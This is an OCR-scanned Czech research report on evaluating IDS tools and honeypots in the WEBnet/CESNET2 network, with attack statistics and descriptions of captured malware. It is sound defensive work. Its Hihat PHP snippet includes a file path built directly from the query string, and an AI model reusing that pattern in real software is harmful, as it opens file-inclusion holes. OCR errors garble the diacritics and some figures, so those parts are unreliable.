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Abstrakt

Cilem projektu bylo zkvalitnéni a rozsiteni systému pro detekci a prevenci pruniku v siti
WEBnet, kterd je soucasti site CESNET2.

Pfi dne$nich rozmérech Internetu, je udrzeni sité bez jediného napadeného pocitace ne-
mozné. Z obranych, studijnich a vyzkumnych duvodu se tedy vyuzivd ruznych typu IDS.
Vsechny maji jedno spole¢né, jejich vyladéni na optimdlni vykon vyzaduje nemalé mnozstvi
Casu, znalosti i energie. Stejné tak i zpracovavani dat kterd generuji a jejich prubézna udrzba.
ni nasazen{ v siti WEBnet (cca 2-3 produkéni systémy) a publikovdni doporuéenych nastavent
pro ostatni ¢leny sdruzeni CESNET.
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1 Uvod a cile projektu

Na CIV ZCU! jsme pied timto projektem provozovali 2 IDS systémy v silné experimentalnich
podminkéch. Jejich provoz nebyl nijak systematicky sledovan ani vyhodnocovén.
nasazeni v siti WEBnet2. Vybrané IDS jsme posléze chtéli pfevést do produkéni podoby a vypra-
covat pro né vhodny reporting tak, aby vysledkem byly 2-3 systémy, které svou ¢innosti zvysi
zabezpeceni sité WEBnet/CESNET2.

Cilem projektu bylo také ziskani ¢asoprostoru pro vzdélavani v této oblasti a pripadné sdileni
dat o zaznamenanych ttocich s externimi subjekty (CESNET, Honeynet).

2 Zpusob reseni

V prubéhu projektu jsme vyzkousSeli a zhodnotili nize popsané IDS systémy. Nékteré z nich si
ponechdme v produkénim stavu i po ukonc¢eni projektu, jiné zastavime, protoze pro naSe tcely
nepfinaseji kvalitni a spolehlivd data. V ramci vzdélavani jsme navstivili odbornou konferenci
BlackHat 2009 a z prostiedkt grantu nakoupili a precetli nékolik knih o bezpe¢nostni problematice.

2.1 LaBrea

Jednoduchy systém pro detekci napadenych pocitacu, které se snazi infikovat své okoli. Pivodné
byl vytvoien jako odpovéd na lavinové &ifeni viru CodeRed. Ke své éinnosti uziva techniku zndmou
jako tarpitting. Metodu, pii které se detektor snazi zaméstnat itocnika na co nejdelsi moznou dobu
tak, aby nemohl utocit jinde. LaBrea to provadi nedokonéenim navazani TCP spojeni, na piichozi
paket SYN, odpovi vygenerovanym SYN-ACK, ale dale tto¢nikovi jiz neodpovida.

Pro instalaci a provoz obsluznych skriptu je potieba nékolik knihoven, instala¢ni manual neni
soucasti tohoto dokumentu (je k dispozici napi. v [1]). Pro provoz v nasem prostied{ jsme program
LaBrea mirné upravili, opravili jsme vazby na knihovnu dumbnet a modifikovali vystup tak, aby
hldseni o spotfebovaném pienosovém pdsmu byl bytech/s nikoli v kilobytech/s.

Systém jsme provozovali na podsiti o velikosti 253 adres. Sledovani jsme provadéli internim
systémem Netflow, ktery shromazduje informace o sifovém provozu a samostatnym skriptem
(scripts/labrea/labrea_report.pl 3 ), ktery v LaBreou generovaném logu vyhledaval ttoéniky ze za-
danych sit{ (adresnich rozsahu CESNET2). Déle jsme napsali jednoduchy plugin pro SW Munin,
ktery zobrazoval informace o LaBreou vyuzitém pfenosovém pasmu. Vysoké procento komuni-
kace bylo vedeno na port 80/tcp, ktery jsme posléze ze sledovani vyloucili (konfiguraci LaBrey).
Pro lepsi orientaci v datech jsme sestavili skript pro prevod dat do databdze (scripts/labrea/
labrea.loadup) a vytvorili jednoduché webové rozhrani pro prochdzeni a zobrazovéni vysledku.

Vysledky

Za dobu svého provozu (03/2008 — 03/2009) jsme zachytili celkem 37 628 unikdtnich uto¢niku,
z toho bylo celkem 16 tto¢niku ze sité CESNET?2 a z toho 8 ze sité WEBnet. Prumér za sledovanou
dobu je 146/den. Obrézek 1 ukazuje pocty unikétnich ttocniku za den. LaBrea také hlési také Sifi
prenosového pasma které pouziva pro udrzeni zajmu utoéniki, prumérnd hodnota za celé sledované
obdobi je 804b/s.

Nékteré spicky z obrazku 1 jsme se pokusili identifikovat:

ICentrum informatizace a vypocetn{ techniky — http://civ.zcu.cz
2Metropolitni poéitacové sit Zapadoteské univerzity v Plzni
3cesta znaéni umisténi skriptu v publikovanych datech viz kap. 5 a pifloha B
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LaBrea attackers per day
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Obréazek 1: LaBrea: Po¢ty unikatnich utocnika.

Poznamka

1 | Distribuovany scan portu 5900 (VNC)

Aktivita portu 4662 — mohl by tento zajem byt vysvétlen aktivitou StormBotnetu
a jejich pravidelnou kampani na velikonoce a USA tax day ?

Shodny vzestup zaznamenal i Dshield.org

Distribuovany scan portu 5900 (VNC)

Distribuovany scan portu 5900 (VNC); Aktivita MS portu 139, 445

Aktivita MS portu 139, 445; Aktivita portu 4662

Distribuovany scan portu 5901 (VNC)

Aktivita portu 4662 . zacal hurikdn Gustav; Aktivita portu 22 — isc.sans diary 4937
Scan webovych porti - 1080, 3127, 3128, 6588, 8000, 8080, 8081, 11022, 11033
Distribuovany scan portu 5900 (VNC)
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Zaveér

Systém LaBrea je velmi uziteé¢ny néstroj pro detekce napadenych poécitacu. Jeho nasazeni je velmi
jednoduché a pro vyhodnoceni staci jednoduché filtrovani vystupu. V zavéru projektu jsme zjistili,
ze klicovym parametrem pro chod je --max-rate, i presto Ze hlasend hodnota vyuzitého pasma
byla hluboce pod 300 kb/s (prumeérné kolem 800b/s), pokusné zvyseni této hodnoty mélo za
ndsledek mnohondsobné zvyseni vykonu systému (zvyseni poc¢tu detekovanych ttocniki). Tento
efekt budeme jesté zkoumat. V provozu tohoto honeypotu budeme pokracovat.

2.2 Nepenthes

Nepenthes je nenativni honeypot s nizkou interakci, ktery emuluje zndmé zranitelnosti MS Win-
dows. Je modularni a napsany v C++.

Pii analyze jeho ¢innosti, jsme se dostali do potizi s jeho vystupem. Defaultni logy nejsou
prilis informativni, debug logy jsou naopak piehlcené zbyteénymi informacemi o vstupu/vystupu
z jednotlivych metod internich objektt. Psani parseru nad debug logem se nam vsak zdalo piilis
nakladné, hlavné z hlediska tidrzby, protoze nikdo negarantuje stabilitu jeho vystupu.
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Proto jsme se déle snazili najit systém, ktery by umoznoval ziskavat data z Nepenthesu jinak,
v idedlnim piipadé nékterou standardni metodou, kterou by podporovaly i ostatni ndmi zamyslené
IDS: LaBrea, Nepenthes, Snort. Nepenthes umi komunikovat se dvéma takovymi systémy.

Prelude-IDS | na prvni pohled systém, ktery by mohl vyhovovat idedlné nasim pozadavkum.
IDS ktery implementuje centralni ilozisté pro cca 20 ruznych IDS,; s databdz{ v mysql, pfenosem
dat mezi senzory a centralou pomoci sifrovaného kanalu, standardizovany protokol a to dokonce ve
formé experimentdlniho RFC[27] a kontrolu funkce jednotlivych sensort heartbeatem. V budoucnu
tento projekt jisté vyuzijeme, nicméné pro nase soucasné potieby jsme se jej rozhodli nepouzit
ze nékolika duvodu: komplikované ulozeni dat v databézi, sou¢asnd implementace protokolu byla
pouze pro binarni formu IDMEF, chudé webové rozhrani psané v Pythonu.

SurfnetIDS | systém podobny Prelude, ktery dokaze integrovat pouze nékolik mélo IDS, nemé
standardizovany protokol, a navic pouziva jako databdzi PostgreSQL.

Ani jeden z vySe uvedenych systému ndm nevyhovoval, proto jsme se vydali vlastni cestou a
doplnili Nepenthes o vlastni modul, ktery pomoci interniho EventManageru zaznamenéva potiebné
informace o hlavnich udalostech v systému. Pro tento novy log jsme napsali jednoduchy skript,
ktery dokaze vygenerovat vystupni report, jednak obecné o ¢innosti systému a jednak vyhledat
utoéniky ze zadanych siti (scripts/nepenthes/nepe_report2.pl). Pro lepsi orientaci v datech jsme
sestavili skript pro pfevod dat do databdze (scripts/nepenthes/nepe.loadup) a vytvorili jednoduché
webové rozhrani pro prochédzeni a zobrazovani vysledku podobné jako pro pfedchozi systém.

Vysledky

Za dobu svého provozu (03/2008 — 03/2009) jsme zachytili celkem 28 485 unikétnich dtocnikd,
z toho bylo celkem 16 ito¢niku ze sité CESNET2 a z toho 12 ze sité WEBnet. Prameér za sledovanou
dobu je 156/den. Obrazek 2 ukazuje pocty unikétnich ttoéniku za den. Pro zobrazené §picky
nemame zadné konkrétni vysvétleni, zvysend aktivita se ve vSech piipadech tykala portu 139 a
445.

Nepenthes attackers per day
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Obrézek 2: Nepenthes: Pocty unikatnich utoénika.
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Zachyceny malware

Zésadnim piinosem systému Nepenthes je fakt, ze dokédze z nékterych ttoku ziskavat propagovany
malware nebo alespon jeho prvnf fdzi (downloader/dropper). Bohuzel, zddny zachyceny vzorek
nepiisel ze sledovanych siti WEBnet/CESNET2, proto jsme se hlubsi analyzou vzorku nakonec
nezabyvali. Pramérny pocet zachycenych vzorka byl 2,9/den a celkem bylo zachyceno 450 vzorku,
které jsme podrobili testu antivirovym programem ClamAV. Ten identifikoval celkem 79 unikatnich
vira a 61 nezdvadnych souboru.

Zaveér

Nepenthes je zajimavy systém pro zachytavani malware pro Windows. Jeho kéd je ¢isty, pomérné
modulérni a projekt je stdle ve vyvoji. V provozu tohoto honeypotu budeme pokracovat.

2.3 Honeytrap

Tento IDS je urcen predevsim pro vyzkumné ucely. Jeho funkce spocivd v tom, ze na stroji (IP
adrese) piijim4 veskera spojeni na zvolenych portech a odesild statickou pieddefinovanou odpovéd.
Zbytek sezeni ukldda do souboru ve formatu pcap, ty se pak ruéné zkoumaji. Obecné lze timto
systémem zaznamenat nejnovéjsi varianty dtoku na jakoukoliv sluzbu. Ziskand data byla pro nas
projekt a moznosti pfili§ nizkodrovinova, nez abychom z nich dokézali ziskat lepsi nebo alespon
stejné kvalitni informace, které nam poskytovali systémy LaBrea a Nepenthes. Tento honeypot
ziejmé vyuzijeme v nékterém z piistich projekti.

2.4 Webové honeypoty

Puvodné zamyslené webové honeypoty PHP Hop[4] a GGHI[3] jsme prozkoumali, ale oba méli
malou flexibilitu a nevyhodné logovani a jako projekty nebyly autory udrzovany. Proto jsme se
rozhodli vyzkouset jiny projekt z dilny skupiny honeynet.org — projekt Hihat[5]. Ten sice vysel
v jediné verzi a jeho vyvoj téZ nepokracuje, ale je navrzen obecné pro jakoukoliv webovou PHP
aplikaci.

V prubéhu projektu jsme zaznamenali jesté vznik projektu ISC webhoneypot[9], ale nezkouseli
jsme jej.

2.4.1 Hihat

Hihat je uréen pro vytvéreni vysoce interaktivnich honeypotu z jakékoliv PHP aplikace, do kazdého
skriptu/stranky pfidd vlastni kéd, ktery do databdze zaznamend dostupné tdaje o ptichozim
pozadavku (URL, parametrech, http hlavickach, ...). Protoze samotné zneuzivané funkce aplikace
nejsou Hihatem ovlivnény, musi byt honeypot nasazen pod ¢astym dohledem.

Tento rezim nam nevyhovoval, proto jsme se pokusili postavit webovy honeypot trochu od-
lisnym zpusobem. Pomoci nédstroje wget, jsme vytvorili nékolik kopii ndhodnych internetovych
stranek, vétsinou znamé aplikace: phpmyadmin, phpbb, phpnuke, wordpress. Po ulozeni obsahu
na disk, jsme strukturu pfejmenovali tak, aby ndzvy souborti neobsahovali znaky ’7’ a dali se tak
poskytovat staticky piimo webserverem pii iluzi zachovani funkce parametru. Na misto hlavnich
skriptu aplikaci (index.php, users.php, viewtopic.php, ...) jsme umistili Hihat s pfidanym kédem
tak, aby zaznamenal potfebné parametry http pozadavku a z disku vratil staticky obsah. Hruby
postup vyroby je naznacen ve scripts/hihat/mk_hihat, ukézka principu je na obrazku 3.

Jako pfedlohy jsme pouzili ¢eské i zahrani¢ni weby a ve vyslednych strankach zaménili kofeny
hlavnich slov (napf. Doom — Zoom, Bystrica — vnica ), tak aby se pfi indexovani{ vyhleddvacem
nezobrazovali spoleéné s predlohou.

Zpocatku jsme tento server provozovali na cca 100 IP adresidch a na jeho titulni strdanku jsme
umistili index.html se sadou vizuédlné neviditelnych odkazu (transparent linking)[5] a odkazy na
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<kéd Hihatu>
$new = $_SERVER["SCRIPT_FILENAME"]."X".$_SERVER["QUERY_STRING"];
if(is_file($new)) {
include ($new) ;
} else {
header ("HTTP/1.0 404 Not Found");
}

Obrazek 3: Hihat: vypis Upravy pro Hihat

tuto stranku jsme umistili do nékolika skuteénych webovych aplikaci na ZCU také pomoci nevidi-
telnych odkazi. Tento zpusob duplikace webu (levného zvétseni honeypotu) viak Google vyhodno-
til jako link farmu a nezaradil honeypot do indexu. Po mésici provozu jsme server zmengili pouze
na jednu doménu, Google zacal pridavat nas obsah do svych vysledku piiblizné do tydne.

Databézi se zaznamenamymi daty je potfeba ruc¢né prubézné Cistit od zaznamu, které gene-
ruji ndvstévy jednotlivych vyhleddvacu (scripts/hihat/clean_hihat_spiders.sh). Pro préci se zachy-
cenymi daty poskytuje Hihat provozovateli jednoduché webové rozhrani, implementuje systém pro
detekei utoku na zakladé black- a whitelistl, ale neobsahuje zadné funkce pro hromadnou praci
s daty. Primarné je urCen pro ru¢ni analyzu. Pro export a nasledné vyhodnoceni vysledku, jsme
vytvorili provizorni modifikovanou verzi webového rozhrani, které misto HTML tabulek generovalo
data ve formatu CSV (scripts/hihat/overviewMainCsv.php).

Vysledky

Po odstranéni zéznamu, které vygenerovaly navstévy indexovacich engint, zbylo v databdzi
181 053 pozadavki (za obdobi 07/2008 — 05/2009). Z nich jsme vlastnimi skripty vybrali pokusy
o uhddnuti hesla do aplikac{ phpmyadmin, phpbb a phpnuke (scripts/hihat/getbruteforces.sh), dale
jsme identifikovali pokusy o php remote file include (scripts/hihat/getrfi.sh) a pokusy o zneuziti
aplikace tomcat manager (viz nize; scripts/hihat/getmanager.sh). V ¢asti zbylych zéznamu iden-
tifikoval Hihat dalsi kategorie utoku, jejich Getnosti jsou uvedeny v nésledujici tabulce, zbytek
zéznamu (cca 34 000) jsou bud pifstupy minoritnich vyhleddvacti nebo falesné poplachy.

Detekovany typ utoku Pocet vyskytu
H&adén{ hesla 13 5691
RFI 7047
Manager upload 1628
SQL injection 2712
Directory traversal 48
Directory traversal + LFI 4
Celkem 147 130

Tabulka 1: Hihat: Detekované utoky

Zajimavy je posledni piipad pokusu o vlozeni lokalniho souboru /proc/self/environ, ten re-
flektuje aktualni nastaveni prostiedi pro proces zpracovavajici webovy pozadavek, skodlivy kod se
umistuje do hlavicky User-Agent, kter4 je soucésti vkladaného souboru[24]. Obranou proti tomuto
utoku je spravné nastaveni PHP openbase_dir pfipadné umisténi webserveru do jailu/chrootu.

Za obdobi 07/2008 — 05/2009, jsme zaznamenali celkem 147 130 utoku a zddny z nich ne-
pochézel ze sité CESNET2.
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2.4.2 Hihat: Tomcat a JBoss

Na poli webovych aplikaci se v posledni dobé prosadila vedle PHP technologie Javy. Pro malé
a stfedné velké projekty se nejvice pouzivaji webovy kontejner Tomcat a aplikacni server JBoss.
Z jejich webovych ovlddacich konzoli (Tomcat manager, JBoss jmx-console) jsme vytvofili stejnou
technikou honeypoty s nizkou interakei (scripts/hihat/webhpj2ee).

Tento honeypot nebyl zvetejnén v seznamu neviditelnych linkta na hlavni strance honeypotu
Hihat, obsah tedy nebyl indexovan vyhledava¢i a jim zachycené vysledky jsou sadou pomérné
¢istych dat, které vypovidaji o ttocich, které na dnesnim webu probihaji od uto¢niku pifmo (tj.
bez vyuziti vyhleddvacu — googlehacking). Jejich kompletni seznam je v publikovanych datech
(data/hihat/analyza-j2ee.ods). Mezi béznymi pokusy o test na existenci proxyserveru, typickych
atoku na ruzné php aplikace, pokusy o SQL injection a directory traversal, jsou v logu vidét i
pokusy o utoky na webové rozhrani Lotus Notes a kombinovany test na detekci proxy navic s po-
kusem o automatickou geolokaci ptes server ip2location.com (GET http://www.ip2location.com
HTTP/1.1).

Zaznamenali jsme 46 uto¢niku (1 600 pozadavkil) na nezabezpecenou aplikaci Tomcat manager,
kterd umoziuje vzdélenou instalaci libovolné webové aplikace (servlet manager/html/ upload).
Bohuzel, Hihat sdm o sobé neuklad4 data z pozadavku POST, které jsou v téle pozadavku ulozeny
jako multipart/form-data.

Zéznamem datového toku pomoci utility tcpdump a prizkumem serveru ze kterého byl jeden
z utoku veden, jsme zachytili uploadovanou dto¢nou aplikaci fexshell.war (data/hihat/fexshell). Jde
o trojského koné pro Windows, ktery na napadany server stdhne a spusti libovolnou EXE aplikaci.
Ziskané vzorky zaregistruji malware do seznamu systémovych sluzen a ohlasi svou pfitomnout na
webovém C&C serveru. URL stahovaného malwaru ziskdvé fexshell z hlavicky HTTP pozadavku
(Cache-Vip-Url).

Druhym zachycenym malwarem byl Jsp WebShell (data/hihat/jshell). Je to zjednodusend po-
doba néstroju typu r57shell a c99. Po jednoduché autorizaci umoznuje uzivateli manipulovat se
soubory na disku serveru, spoustét na ném ptikazy operacniho systému a pracovat s databazi.
Podle komentéfi a jazyka rozhrani pochézi patrné z Ciny.

Na imitaci spravcovské konzole serveru JBoss?, ktery také umoziiuje vzdalenou instalaci li-
bovolné aplikace, jsme zadny itok nezaznamenali i pfesto, Ze pomoci vyhledavacu je dnes bézné
mozné najit stovky takto zranitelnych servert a mohli bychom predpokladat, ze i tyto itoky budou
bézné.

Za obdobi 08/2008 — 05/2009, jsme zaznamenali 31 761 dtoku, z nichz zddny nepochézel ze
sité CESNET2.

2.4.3 Apache RFI

V ramci detekce ttoku na webové servery a aplikace, jsme kromé vySe uvedeného honeypotu, na-
psali jednoduchy skript pro kontrolu logu webserveru Apache. Skript vyhledava pokusy o klasicky
utok PHP remote include a stahuje nabizeny malware. Nasadili jsme jej na 2 produkéni servery
a za dobu provozu (03/2008 — 03/2009) jsme zaznamenali 31 228 tutoku, z ¢ehoz 18 bylo ze sité
CESNET?2 a ziskali 5 234 unikatnich vzorku vklddaného obsahu. Jeden z takto zaznamenanych
ttoku vedl k odhaleni nedostateéného zabezpeceni dulezitého portdlu jednoho ze ¢lenu sdruzeni
CESNET.

Zachyceny malware

Pomoci utility file jsme roztiidili vzorky do nékolika kategorif (text, php, html, ... ). Nésledné
jsme skupinu PHP skriptt roztfidili na rizné typy a pomoci bayesova filtru (ndstrojem dbacl[28]),
rozti{dili do findlnich 33 kategorii (jejich piehled je v pifloze A). Kategorie jsme vytvarely dle
vlastni tvahy.

Kategorie spam, html, 404, rss, error, empty, bin obsahuji bud’ faleiné poplachy nebo neuziteéna
data.

4
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Obrézek 4: apache_rfi: Pocty zaznamenanych dtoku

V kategoriich: genericprobe*, maildrop, userfinger, dynamicprobes, staticprobes se nachdzeji
malé nédstroje, které zjistuji zakladn{ data o napadaném systému (operaéni systém, volné misto
na disku, uzivatele pod kterym je spustén webserver, ...). Technika drop zén pro shromazd ovan{
nasbiranych dat je dle poc¢tu vzorki velmi oblibend[22]. Zajimavou mutaci jsou téz genericprobewi-
thiframeinjection, pti svém spusténi se kromé ziskani zakladnich idaju o systému pokusi vyhledat
vSechny soubory *htm, *html a *php umisténé v DOCUMENT_ROOT a na jejich konec vlozit IFRAME.
Ten zpravidla obsahuje HTML, které zneuziva chyb v prohlize¢ich nebo pluginech.

V kategoriich botexec, c99, defacingtool, filetool, massmailer, pbot, phpbot, r57, shellbot, jsme
shromézdili vzorky standarnich nastroju, které maji razné propracované funkce pro praci s napa-
denym systémem. Od stazeni a spusténi IRC robotti, manipulaci se soubory na disku napadeného
serveru, az po praci s pripadnou lokalni databazi.

Pro robota pbot jsme napsali skripty, které se z jeho kédu pokusi ziskat iidaje, kam se ma robot
pripojit (IRC server a kanél) a s jejich znalost{ jsme provedli jednordzovy priuzkum téchto C&C.
Nalezli cca 30 aktivnich kanédla a 1 300 aktivnich uzivateli. Pfedpokladdame, ze nékteré informace
jsou duplikované kvuli nékolika faktorum:

e absence detekce provazanosti IRC servert,
e vicenasobné infikaci ¢i piislusnosti robotu na vice kanédlech najednou,

e neschopnosti spolehlivé oddélit roboty od legitimnich uzivatelu.

Pomoci nastroju z baliku Graphviz[11] jsme ziskand data pokusili vizualizovat. Z obrazku 5
je mozné 1épe odhadnout duplikaci dat, takze redlny pocet nalezenych botnet bude cca 13-16.
Zpétneé ziskat IP adresy pripojenych robotu je obtizné, nékteré servery skutetnou adresu maskuji,
nékteré ji vraci v nestandardnich TRC zpravach. V grafu nejsou zobrazeny a zapoc¢itany adresy
propagatoru piislusného malware, je zde zobrazen pouze aktudlni stav na nalezenych IRC kanélech.
Ostatni varianty grafi je mozné nalézt v publikovanych datech (data/apache_rfi/graphviz).

Zaveér

Hihat je hezky néstroj, ktery si ponechame v experimentalnim rezimu a pokusime se jeho pouziti
rozsitit a vylepSit. Skripty apache_rfi se ukédzaly jako uzitetné a v jejich provozu budeme po-
kracovat.
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kanych z IRC

Obréazek 5: Zobrazeni dat zis
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2.5 Snort

IDS Snort[6] je velmi uzndvany a rozsiteny néstroj, ktery je zalozen na metodé signatur a na jeho
zékladé je postaveno velké mnozstvi jinych komerc¢nich feSeni a to i hardwarovych implementaci.
Pro jeho spravny a efektivni béh je potieba mit vyladéné a ¢asto aktualizované knihovny signatur.
Na rozdil od puvodniho zdméru, rozsitit soucasny pocet instalaci v siti WEBnet na vybrané servery,
jsme se rozhodli nasadit jej na jednu z hlavnich linek sité WEBnet.

To nam dovoluje kontrolovat provoz celé sité a ne pouze vybranych serveru. Jako datovy sklad
jsme pouzili mysql 4, pro pristup a prici s daty webovou aplikaci BASE[7]. Mysql 4 jsme zvolili
z duvodu jednodussiho rotovani databéze, to lze ve verzich 4.x provadét pii vypnutém mysqld
piimo na filesystému (pfesunout datovy adresii a misto néj umistit ¢istou predlohu bez dat), ve
verzich 5.x to jiz nelze a je potfeba vSechna data exportovat a importovat, coz je v piipadé velkych
objemu dat (fddové GB) velmi dlouhy proces. Pii vytvareni databdze je potfeba mit na paméti,
ze defaultné neni mysql konfigurovana pro tabulky vétsi nez 4GB, proto je vhodné ji upravit
zvySenim potfebnych hodnot:

mysql> alter table <vsechny tabulky>
max_rows = 200000000000
avg_row_length = 512;

Obrézek 6: mysql: Uprava nastaven{ maximalni velikosti tabulek

Do systému jsme zavedli oficidlni signatury serveru snor.org a dale jsme pridali sady pravidel
komunity emergingthreats.org (difve bleedingsnort.org). Pii aplikaci pravidel ET, jsme z jejich
definice odstranili oznaceni Tag, které zajistuje, ze v piipadé detekce ttoku pravidlem, bude do
databéze ukladéan i zbytek sezeni pro potieby pozdéjsi analyzy. V nasem zapojeni by toto nastaveni
generovalo nezvladatelny objem dat.

$ for all in ‘ls *rules‘; do
cat $all | sed ’s/tag:[";1*;//° > $all.new;
mv $all.new $all;
done

Obrézek 7: Snort: odtagovani pravidel

Ze stejného duvodu jsme vypnuli preprocesory a pravidla, kterd detekuji portscany.

Ze standardnich sad pravidel Snortu verze 2.8 jsme pouzili tyto: local, bad-traffic, exploit, scan,
finger, ftp, telnet, rpc, rservices, dos, ddos, duns, tftp, web-cgi, web-coldfusion, web-iis, web-misc,
web-client, web-php, sql, x11, icmp, netbios, misc, attack-responses, oracle, mysql, snmp, smtp,
imap, pop2, pop3, nntp, other-ids, web-attacks, backdoor, shellcode, info, virus. Ze sady ET jsme
pouzili: malware, dos, exploit, virus, web, p2p, attack_response, voip, web_sql_injection. Update
oficidlnich pravidel jsme provadéli 2x tydné pomoci utility oinkmaster, sadu ET jsme aktualizovali
ruéné dle uvazeni.

Systém jsme vyladili (scripts/snort/zcu.rules) tak, ze za tyden generuje zhruba 800 000 zdzna-
mu a v této periodé databazi také rotujeme. NaSe zkuSenosti ukazuji, ze PHP s rozhranim BASE
je schopné rozumné fungovat jesté kolem 1 000 000 zdznamu, pokud je databaze vétsi, stava se
systém webové nepouzitelny. Vzhledem k objemu generovanych dat jsme tento systém pouzivali
pouze jako doplitkkovy pii feSeni bezpecnostnich incidentu v siti WEBnet. Jako uziteéné se ukazala
napf. pravidla:

e ET MALWARE Suspicious 220 Banner on Local Port: 2003055
e ATTACK-RESPONSES id check returned root : 1:498

11
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Obrézek 8: Snort: poc¢ty udalosti

Prvni upozoriiuje na pravdépodobny FTP server na nestandardnim portu, to muZze znamenat
napadeny stroj nékterou z warezovych skupin, které z napadenych stroju vytvareji distribuovand
uloziste.

Druhy muze znamenat ispésny pokus o ziskani identifikace uzivatele pod kterym bézi napadana
sluzba (napf webserver s php). Pitkaz id byvé jednim z prvnich, ktery uto¢nici na napadanych
systémech spoustéji.

Déle jsme tento systém pouzivali jako doplitkovy zdroj informaci pii feSeni stiznosti tietich
stran na poruSovani autorského zdkona uzivateli sité WEBnet. Jak zdkladni sada, tak i sada
ET, obsahuje sérii pravidel pro identifikace paketu/spojeni béznych P2P siti (DC++, eDonkey,
BitTorrent, ...). Pro tento ucel jsme napsali skript, ktery exportuje a uchovdva potiebné zdznamy
(scripts/snort/searchp2p.sh). Lze je vyuzit v piipadé sporu o oprdvnénost stiznosti na porusovéni
autorskych prav.

Zavér

Nastaveni IDS Snort budeme déle vylepSovat a budeme jej provozovat jako dopliikovy IDS.

2.6 PE Hunter

PE Hunter je dynamicky preprocesor pro IDS Snort, ktery ze sledovanych datovych toku ziskdva
spustitelné soubory typu PE (windows executables). Vyhleddva je podle identifikace PE hlavicky
ve sledovaném streamu, s naslednym vypoc¢tem délky souboru a jeho ulozenim na disk.

Vzhledem k tomu, zZe jsme jej nasadili na velmi rychlou a vyuzitou linku, museli jsme provést
malé upravy (src/pehunter-session.patch). Ty spocivaly v omezeni poc¢tu soucasné sledovanych
spojen{ a v délce (hloubce streamu), ve které se hlavicka vyhleddvé. Po dosazen{ maximdln{ délky
jsou data zahozena (v piipadé ze nebyla nalezena PE hlavicka) a sledovact slot je uvolnén dalsimu
streamu.

12
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Zaver
Celkem jsme za sledované obdobi (01/2009 — 04/2009) jsme nasbirali celkem 3 111 PE soubort,
z nichz pouze 8 bylo identifikovéno jako malware (pomoci ClamAV). Tento zpusob detekce je

celkem zajimavou myslenkou, ale v praxi by se hodilo umistit PeHunter na jiné misto v siti (napf.
tésné pred kritické podsité). Tuto techniku sledovani ukonéime.

2.7 Spamsearch.pl

Prakticky nejicinnéj$im néstrojem pro detekci pruniki se ukazal zpusob nejjednodussi, ktery jsme
puvodné tvorili mimo ramec tohoto projektu. Pro interni ucely bezpecénostni skupiny WEBnetu
(WIRT) jsme vytvofili jednoduchy skript, ktery v databdzi NetFlow vyhledd uzly nasf sité, které
za jeden den uskuteénily vice nez zadany (300) pocet spojeni na port 25 (SMTP). Dotaz vypada
zhruba nésledovné a je sestaven pro systém Calligare NetFlow ktery CIV provozuje.

SELECT from_unixtime(st),sum(bytes),sum(pck),inet_ntoa(sip),count(*) as conns
FROM $table WHERE dp=25 and

(sip>=inet_aton(’147.228.0.0’) and sip<=inet_aton(’147.228.255.255"))

and

(sip!=inet_aton(’whitelist1’) and sip!=inet_aton(’whitelist2’) )

GROUP BY sip HAVING conns > 300 order by conns desc

Obréazek 9: Dotaz Spamsearch.pl

Pocet

02/02/09
02/04/09
02/07/09
16/02/09
16/02/09
24/02409
03/10/09
13/03/09
17/03/09
19/03/09
21/0%09
24/03/09
2e/03/09
30/03/09
04/06/09
04/11/09
21/04/09
23/04/09
26/04/09
25/0409
05/05/09
05/12/09

o
@
c
3

Obrézek 10: Spamsearch: pocty detekovanych spammeru

I pFesto, ze pro sbér vysledkll pouzivame funkcionalitu nasich pateinich smérovacu a komeréni
kolektor NetFlow dat, podobnych vysledki by se v mensich sitich dalo dosdhnout i otevienym
feSenim na bazi nastroju flow-tools. Obecné jsou systémy pro plosné sledovéni provozu jednim ze
zékladnich ndstroju pro vysetfovéni bezpecnostnich incidentu [12].

Jednim z hlavnich faktort uspésnosti tohoto systému je udrzeni aktudlniho whitelistu, ve
kterém musi byt uvedeny adresy legitimnich mailserveru. V piipadé sledovani na trovni sité
CESNET?2, by tento systém nefungoval, protoze administratori patefni sité nemaji potiebné in-
formace o SMTP serverech. Na tdrovni ¢lenskych siti muze tato technika fungovat velmi dobfe.

13
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Zaveér
Za dobu svého provozu (02/2009 — 05/2009) jsme timto zpusobem detekovali celkem 99 unikatnich

napadenych stroju, ze kterych 67 byly studenské notebooky. Tento IDS ponechdme v provozu a
pokusime se jeho funkcionalitu jesté rozsitit.

2.8 pof

Jako doplnék k nasazenym systémum, jsme pouzili nastroj pOf pro ziskédni statistik o operaénich
systémech, které se snazi s honeypoty komunikovat. Nastroj vyhodnocuje pravdépodobny operacni
systém komunikujiciho protéjsku podle chrarakteristik v SYN a SYN/ACK a RST paketech a
srovnava je se svou znalostni databazi.

Pro tcely vyhodnoceni jsme do skupiny Other, sloucili minoritn{ systémy (AIX, CacheFlow,
Cisco, Eagle, ExtremeWare, Google, HP-UX, IRIX, NetBSD, NetCache, Novell, OpenBSD, Pro-
xyblocker, Sega, Solaris, SunOS, SymbianOS, Tru64). Piedpokldddme, ze velkd vétsina takto
zatiidénych systému jsou vysledkem chyb v detekci.
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Obrazek 11: Detekce OS pomoci pOf
2.9 Shrnuti vysledki vyzkousSenych nastroji

Casovy Pocet

ramec Velikost Utoktt | Utoéniki Utoénikii Utoénikii zachycenych
Typ sensoru | dat [més] | detektoru celkem celkem z CESNET2 | z WEBnetu vzorkil
LaBrea 12 253 IP - 37 628 16 8 -
Nepenthes 12 150 1P - 28 485 16 12 456
Hihat 10 1 doména 147 130 - 0 0 -
J2EE Hihat 9 150 IP 31 761 - 0 0 -
Apache RFI 12 | 300 domén 31 228 - 18 0 5234
Snort 9 1 sensor 28 825 933 - - - -
PeHunter 3 1 sensor - - - - 3111
Spamsearch 4 - - - 97 97 -
Celkem - - - - 147 117 8 801

Celkem jsme detekovali 117 unikétnich tuto¢niku ze sité WEBnet. Vsechny piipady jsme fesili
v souladu s bezpe¢nostni politikou sité WEBnet, ¢imz jsme pfispéli k vyssimu zabezpeceni sité
WEBnet/CESNET2.




2 7ZPUSOB RESEN{

2.10 Vzdélavani a publikace v ramci grantu

V ramci tohoto grantu jsme navstivili konferenci Black Hat Furope, ktera se konala v dubnu 2009.
O poznatcich z této konference jsme informovali na internim seminéfi CIV a v emailové konferenci
csirt-forum@cesnet.cz. Z materidlu konferenci Black Hat 2007/2008/2009 jsme sestavili publikaci
a prezentaci pro konferenci Europen.cz (kvéten 2009[8]) na téma historie a soucasnost ttoku a
obran na aplikace a opera¢ni systémy zalozené na technice buffer overflow.

